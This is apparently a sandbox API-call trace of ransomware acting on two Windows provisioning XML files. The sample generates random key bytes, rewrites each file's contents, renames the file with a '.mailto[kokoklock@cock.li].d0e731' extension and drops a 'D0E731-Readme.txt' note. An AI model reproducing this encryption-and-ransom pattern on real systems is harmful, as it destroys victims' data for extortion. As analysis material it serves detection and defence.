[0082.962] RtlExitUserThread (Status=0x0) Thread: id = 1074 os_tid = 0x17cc [0081.785] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml")) returned 0x20 [0081.785] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml", dwFileAttributes=0x20) returned 1 [0081.786] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac [0081.786] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x2663fe60 | out: lpFileSize=0x2663fe60*=845) returned 1 [0081.786] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x349, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.786] ReadFile (in: hFile=0x5ac, lpBuffer=0x2663fe34, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2663fe30, lpOverlapped=0x0 | out: lpBuffer=0x2663fe34*, lpNumberOfBytesRead=0x2663fe30*=0x4, lpOverlapped=0x0) returned 1 [0081.787] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.787] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cb00 [0081.787] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c8a8 [0081.787] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c858 [0081.787] NtQuerySystemTime (in: CurrentTime=0x2663fe0c | out: CurrentTime=0x2663fe0c*=132121176396778897) returned 0x0 [0081.788] RtlRandom (in: Seed=0x2663fe18 | out: Seed=0x2663fe18) returned 0x8698f86b [0081.788] RtlRandom (in: Seed=0x2663fe18 | out: Seed=0x2663fe18) returned 0xe34672ea [0081.788] RtlRandom (in: Seed=0x2663fe18 | out: Seed=0x2663fe18) returned 0x91b887f9 [0081.788] RtlRandom (in: Seed=0x2663fe18 | out: Seed=0x2663fe18) returned 0x31a6b985 [0081.788] RtlRandom (in: Seed=0x2663fe18 | out: Seed=0x2663fe18) returned 0xc8e34a19 [0081.788] RtlRandom (in: Seed=0x2663fe18 | out: Seed=0x2663fe18) returned 0xfdc5e54e [0081.788] RtlRandom (in: Seed=0x2663fe18 | out: Seed=0x2663fe18) returned 0x5c017b2a [0081.788] RtlRandom (in: Seed=0x2663fe18 | out: Seed=0x2663fe18) returned 0x30cc715d [0081.788] RtlRandom (in: Seed=0x2663fe18 | out: Seed=0x2663fe18) returned 0xac191757 [0081.788] RtlRandom (in: Seed=0x2663fe18 | out: Seed=0x2663fe18) returned 0x3fc652ae [0081.788] RtlRandom (in: Seed=0x2663fe18 | out: Seed=0x2663fe18) returned 0x1b53b184 [0081.788] RtlRandom (in: Seed=0x2663fe18 | out: Seed=0x2663fe18) returned 0x5f97c1e9 [0081.788] RtlRandom (in: Seed=0x2663fe18 | out: Seed=0x2663fe18) returned 0x8d2c14b3 [0081.788] RtlRandom (in: Seed=0x2663fe18 | out: Seed=0x2663fe18) returned 0x666b23d5 [0081.788] RtlRandom (in: Seed=0x2663fe18 | out: Seed=0x2663fe18) returned 0x7998cdf [0081.788] RtlRandom (in: Seed=0x2663fe18 | out: Seed=0x2663fe18) returned 0xa081e843 [0081.788] RtlRandom (in: Seed=0x2663fe18 | out: Seed=0x2663fe18) returned 0x4a1a1a2a [0081.788] RtlRandom (in: Seed=0x2663fe18 | out: Seed=0x2663fe18) returned 0x52d0a3b8 [0081.788] RtlRandom (in: Seed=0x2663fe18 | out: Seed=0x2663fe18) returned 0x82f36b06 [0081.788] RtlRandom (in: Seed=0x2663fe18 | out: Seed=0x2663fe18) returned 0x6de38160 [0081.788] RtlRandom (in: Seed=0x2663fe18 | out: Seed=0x2663fe18) returned 0x7bb8868b [0081.788] RtlRandom (in: Seed=0x2663fe18 | out: Seed=0x2663fe18) returned 0x1c05e552 [0081.788] RtlRandom (in: Seed=0x2663fe18 | out: Seed=0x2663fe18) returned 0xad864cd6 [0081.788] RtlRandom (in: Seed=0x2663fe18 | out: Seed=0x2663fe18) returned 0x6e106c6a [0081.788] RtlRandom (in: Seed=0x2663fe18 | out: Seed=0x2663fe18) returned 0x25b8d92f [0081.788] RtlRandom (in: Seed=0x2663fe18 | out: Seed=0x2663fe18) returned 0x531f7dc9 [0081.788] RtlRandom (in: Seed=0x2663fe18 | out: Seed=0x2663fe18) returned 0xfe6915ba [0081.788] RtlRandom (in: Seed=0x2663fe18 | out: Seed=0x2663fe18) returned 0xb52dbe57 [0081.788] RtlRandom (in: Seed=0x2663fe18 | out: Seed=0x2663fe18) returned 0x67ce30ac [0081.788] RtlRandom (in: Seed=0x2663fe18 | out: Seed=0x2663fe18) returned 0xecc8bc20 [0081.788] RtlRandom (in: Seed=0x2663fe18 | out: Seed=0x2663fe18) returned 0x2a8944ec [0081.788] RtlRandom (in: Seed=0x2663fe18 | out: Seed=0x2663fe18) returned 0x156a0a45 [0081.799] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0081.799] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cb00) returned 1 [0081.799] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0081.799] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0081.799] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ca60 [0081.799] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca60) returned 1 [0081.799] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.799] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.799] ReadFile (in: hFile=0x5ac, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x34d, lpNumberOfBytesRead=0x2663fe0c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2663fe0c*=0x34d, lpOverlapped=0x0) returned 1 [0081.799] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2663fdd4 | out: lpNewFilePointer=0x0) returned 1 [0081.800] WriteFile (in: hFile=0x5ac, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x34d, lpNumberOfBytesWritten=0x2663fe08, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x2663fe08*=0x34d, lpOverlapped=0x0) returned 1 [0081.800] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c970 [0081.800] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cc18 [0081.800] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc18) returned 1 [0081.800] WriteFile (in: hFile=0x5ac, lpBuffer=0x342c970*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2663fe04, lpOverlapped=0x0 | out: lpBuffer=0x342c970*, lpNumberOfBytesWritten=0x2663fe04*=0x20, lpOverlapped=0x0) returned 1 [0081.800] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c970) returned 1 [0081.800] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.800] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.800] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0081.800] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0081.800] WriteFile (in: hFile=0x5ac, lpBuffer=0x342cc68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2663fe30, lpOverlapped=0x0 | out: lpBuffer=0x342cc68*, lpNumberOfBytesWritten=0x2663fe30*=0x8, lpOverlapped=0x0) returned 1 [0081.800] WriteFile (in: hFile=0x5ac, lpBuffer=0x2663fe48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2663fe30, lpOverlapped=0x0 | out: lpBuffer=0x2663fe48*, lpNumberOfBytesWritten=0x2663fe30*=0x4, lpOverlapped=0x0) returned 1 [0081.800] WriteFile (in: hFile=0x5ac, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2663fe30, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2663fe30*=0x4, lpOverlapped=0x0) returned 1 [0081.800] WriteFile (in: hFile=0x5ac, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2663fe30, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2663fe30*=0x6c, lpOverlapped=0x0) returned 1 [0081.800] WriteFile (in: hFile=0x5ac, lpBuffer=0x342c8a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2663fe30, lpOverlapped=0x0 | out: lpBuffer=0x342c8a8*, lpNumberOfBytesWritten=0x2663fe30*=0x20, lpOverlapped=0x0) returned 1 [0081.800] WriteFile (in: hFile=0x5ac, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2663fe30, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2663fe30*=0x4, lpOverlapped=0x0) returned 1 [0081.801] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c8a8) returned 1 [0081.801] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca10) returned 1 [0081.801] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc68) returned 1 [0081.801] CloseHandle (hObject=0x5ac) returned 1 [0081.801] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10a) returned 0x342a268 [0081.801] wcscpy (in: _Dest=0x342a268, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml" [0081.801] wcscat (in: _Dest=0x342a268, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0081.801] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.802] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0081.802] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342a268) returned 1 [0081.802] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml", dwFileAttributes=0x20) returned 0 [0081.802] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f6ab8 [0081.802] wcscpy (in: _Dest=0x33f6ab8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\" [0081.802] wcscat (in: _Dest=0x33f6ab8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\D0E731-Readme.txt" [0081.802] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\d0e731-readme.txt")) returned 0xffffffff [0081.802] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac [0081.804] WriteFile (in: hFile=0x5ac, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2663fe2c, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2663fe2c*=0x481, lpOverlapped=0x0) returned 1 [0081.805] CloseHandle (hObject=0x5ac) returned 1 [0081.805] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f6ab8) returned 1 [0081.805] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34348f8) returned 1 [0081.805] RtlExitUserThread (Status=0x1) Thread: id = 1075 os_tid = 0x17d0 [0081.808] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\masterdatastore.xml")) returned 0x20 [0081.809] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 1 [0081.809] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac [0081.809] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x266bfc34 | out: lpFileSize=0x266bfc34*=271) returned 1 [0081.809] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x10b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.809] ReadFile (in: hFile=0x5ac, lpBuffer=0x266bfc08, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x266bfc04, lpOverlapped=0x0 | out: lpBuffer=0x266bfc08*, lpNumberOfBytesRead=0x266bfc04*=0x4, lpOverlapped=0x0) returned 1 [0081.810] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.810] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cb00 [0081.810] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c8a8 [0081.810] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c880 [0081.810] NtQuerySystemTime (in: CurrentTime=0x266bfbe0 | out: CurrentTime=0x266bfbe0*=132121176397091161) returned 0x0 [0081.810] RtlRandom (in: Seed=0x266bfbec | out: Seed=0x266bfbec) returned 0x602ca2d0 [0081.810] RtlRandom (in: Seed=0x266bfbec | out: Seed=0x266bfbec) returned 0xebbfc150 [0081.811] RtlRandom (in: Seed=0x266bfbec | out: Seed=0x266bfbec) returned 0x4f4ae709 [0081.811] RtlRandom (in: Seed=0x266bfbec | out: Seed=0x266bfbec) returned 0xdc7dc5cc [0081.811] RtlRandom (in: Seed=0x266bfbec | out: Seed=0x266bfbec) returned 0x1f8e685f [0081.811] RtlRandom (in: Seed=0x266bfbec | out: Seed=0x266bfbec) returned 0x25d5407b [0081.811] RtlRandom (in: Seed=0x266bfbec | out: Seed=0x266bfbec) returned 0xa3b1e0b0 [0081.811] RtlRandom (in: Seed=0x266bfbec | out: Seed=0x266bfbec) returned 0xb680789 [0081.811] RtlRandom (in: Seed=0x266bfbec | out: Seed=0x266bfbec) returned 0x1ecbe51 [0081.811] RtlRandom (in: Seed=0x266bfbec | out: Seed=0x266bfbec) returned 0xaa89a5bd [0081.811] RtlRandom (in: Seed=0x266bfbec | out: Seed=0x266bfbec) returned 0x1bfab08c [0081.811] RtlRandom (in: Seed=0x266bfbec | out: Seed=0x266bfbec) returned 0x7d80c813 [0081.811] RtlRandom (in: Seed=0x266bfbec | out: Seed=0x266bfbec) returned 0x445ee302 [0081.811] RtlRandom (in: Seed=0x266bfbec | out: Seed=0x266bfbec) returned 0x52ec4709 [0081.811] RtlRandom (in: Seed=0x266bfbec | out: Seed=0x266bfbec) returned 0x4cab4efd [0081.811] RtlRandom (in: Seed=0x266bfbec | out: Seed=0x266bfbec) returned 0x5b8005c4 [0081.811] RtlRandom (in: Seed=0x266bfbec | out: Seed=0x266bfbec) returned 0x5cf9c1cb [0081.811] RtlRandom (in: Seed=0x266bfbec | out: Seed=0x266bfbec) returned 0x8c8a4233 [0081.811] RtlRandom (in: Seed=0x266bfbec | out: Seed=0x266bfbec) returned 0x54d640d5 [0081.811] RtlRandom (in: Seed=0x266bfbec | out: Seed=0x266bfbec) returned 0x47e82ed9 [0081.811] RtlRandom (in: Seed=0x266bfbec | out: Seed=0x266bfbec) returned 0xf2f066f3 [0081.811] RtlRandom (in: Seed=0x266bfbec | out: Seed=0x266bfbec) returned 0x47f05920 [0081.811] RtlRandom (in: Seed=0x266bfbec | out: Seed=0x266bfbec) returned 0xa1bd78c2 [0081.811] RtlRandom (in: Seed=0x266bfbec | out: Seed=0x266bfbec) returned 0x31003ba9 [0081.811] RtlRandom (in: Seed=0x266bfbec | out: Seed=0x266bfbec) returned 0x986c0106 [0081.811] RtlRandom (in: Seed=0x266bfbec | out: Seed=0x266bfbec) returned 0x87f6bc [0081.811] RtlRandom (in: Seed=0x266bfbec | out: Seed=0x266bfbec) returned 0x88c75b18 [0081.811] RtlRandom (in: Seed=0x266bfbec | out: Seed=0x266bfbec) returned 0xd8c5407a [0081.811] RtlRandom (in: Seed=0x266bfbec | out: Seed=0x266bfbec) returned 0x8c3d7023 [0081.811] RtlRandom (in: Seed=0x266bfbec | out: Seed=0x266bfbec) returned 0xc2bdf454 [0081.811] RtlRandom (in: Seed=0x266bfbec | out: Seed=0x266bfbec) returned 0xe6f59576 [0081.811] RtlRandom (in: Seed=0x266bfbec | out: Seed=0x266bfbec) returned 0x9822356f [0081.822] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0081.822] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cb00) returned 1 [0081.822] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0081.822] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0081.822] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ca60 [0081.822] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca60) returned 1 [0081.822] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.822] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.822] ReadFile (in: hFile=0x5ac, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x266bfbe0, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x266bfbe0*=0x10f, lpOverlapped=0x0) returned 1 [0081.822] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266bfba8 | out: lpNewFilePointer=0x0) returned 1 [0081.822] WriteFile (in: hFile=0x5ac, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x10f, lpNumberOfBytesWritten=0x266bfbdc, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x266bfbdc*=0x10f, lpOverlapped=0x0) returned 1 [0081.822] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c970 [0081.822] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cc18 [0081.822] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc18) returned 1 [0081.822] WriteFile (in: hFile=0x5ac, lpBuffer=0x342c970*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x266bfbd8, lpOverlapped=0x0 | out: lpBuffer=0x342c970*, lpNumberOfBytesWritten=0x266bfbd8*=0x20, lpOverlapped=0x0) returned 1 [0081.823] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c970) returned 1 [0081.823] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.823] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.823] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0081.823] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0081.823] WriteFile (in: hFile=0x5ac, lpBuffer=0x342cc68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x266bfc04, lpOverlapped=0x0 | out: lpBuffer=0x342cc68*, lpNumberOfBytesWritten=0x266bfc04*=0x8, lpOverlapped=0x0) returned 1 [0081.823] WriteFile (in: hFile=0x5ac, lpBuffer=0x266bfc1c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x266bfc04, lpOverlapped=0x0 | out: lpBuffer=0x266bfc1c*, lpNumberOfBytesWritten=0x266bfc04*=0x4, lpOverlapped=0x0) returned 1 [0081.823] WriteFile (in: hFile=0x5ac, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x266bfc04, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x266bfc04*=0x4, lpOverlapped=0x0) returned 1 [0081.823] WriteFile (in: hFile=0x5ac, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x266bfc04, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x266bfc04*=0x6c, lpOverlapped=0x0) returned 1 [0081.823] WriteFile (in: hFile=0x5ac, lpBuffer=0x342c8a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x266bfc04, lpOverlapped=0x0 | out: lpBuffer=0x342c8a8*, lpNumberOfBytesWritten=0x266bfc04*=0x20, lpOverlapped=0x0) returned 1 [0081.823] WriteFile (in: hFile=0x5ac, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x266bfc04, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x266bfc04*=0x4, lpOverlapped=0x0) returned 1 [0081.823] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c8a8) returned 1 [0081.823] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca10) returned 1 [0081.823] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc68) returned 1 [0081.823] CloseHandle (hObject=0x5ac) returned 1 [0081.823] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10c) returned 0x342a268 [0081.823] wcscpy (in: _Dest=0x342a268, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml" [0081.824] wcscat (in: _Dest=0x342a268, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0081.824] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\masterdatastore.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.825] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0081.825] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342a268) returned 1 [0081.825] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 0 [0081.825] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f6ab8 [0081.825] wcscpy (in: _Dest=0x33f6ab8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\" [0081.825] wcscat (in: _Dest=0x33f6ab8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\D0E731-Readme.txt" [0081.825] 